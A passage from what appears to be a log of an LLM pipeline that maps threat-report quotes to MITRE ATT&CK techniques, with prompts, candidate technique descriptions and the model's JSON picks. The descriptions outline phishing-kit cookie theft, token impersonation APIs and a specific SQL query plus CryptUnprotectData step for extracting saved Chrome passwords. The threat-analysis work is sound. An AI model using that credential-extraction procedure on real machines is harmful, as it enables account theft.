hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows\n\nCANDIDATE 8\nATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1134 Access Token Manipulation\nDescription: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nTactics: privilege escalation, stealth\nPlatforms: Windows", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\":1,\"support\":\"supported\",\"evidence_quote\":\"phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security\",\"rationale\":\"The quote explicitly states that phish kits steal tokens, which directly matches the defining action of T1528 Steal Application Access Token.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 4267, + "completion_tokens": 68, + "total_tokens": 4335 + } + }, + "evidence_sha256": "5c2db2bb359a223ca642a9d34a3889a163024b8010fe01e2cb1edb966d69f889" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3530.8, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Threat actors\nAction: man-in-the-middle (MitM)\nObject: browser session\nTool: phish kits that leverage transparent reverse proxy\nTarget: credentials and session cookies\n\nSOURCE QUOTE\nThreat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time\n\nCANDIDATE 0\nATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.\n\nCANDIDATE 1\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |\n\nCANDIDATE 2\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 3\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser.\n\nCANDIDATE 5\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.\n\nCANDIDATE 6\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 8\nATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\": 0, \"support\": \"supported\", \"evidence_quote\": \"steal credentials and session cookies in real-time\", \"rationale\": \"The quote explicitly states the action of stealing session cookies via a proxy-based MitM attack, which directly matches the definition of T1539 Steal Web Session Cookie.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3717, + "completion_tokens": 71, + "total_tokens": 3788 + } + }, + "evidence_sha256": "b5b37d6b9da07756c13f7dfd96f1d0448e4691c4c5d752f4d185400788cfa64c" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3467.4, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: phishing kits\nAction: steal\nObject: usernames, passwords, MFA tokens, social security numbers and credit card numbers\nTool: open-source kits\n\nSOURCE QUOTE\nMFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: An additional example of a recent fake video conferencing credential phishing campaign featured the “.onmicrosoft.com” domain name.\n\nCANDIDATE 1\nATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 2\nATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 3\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information 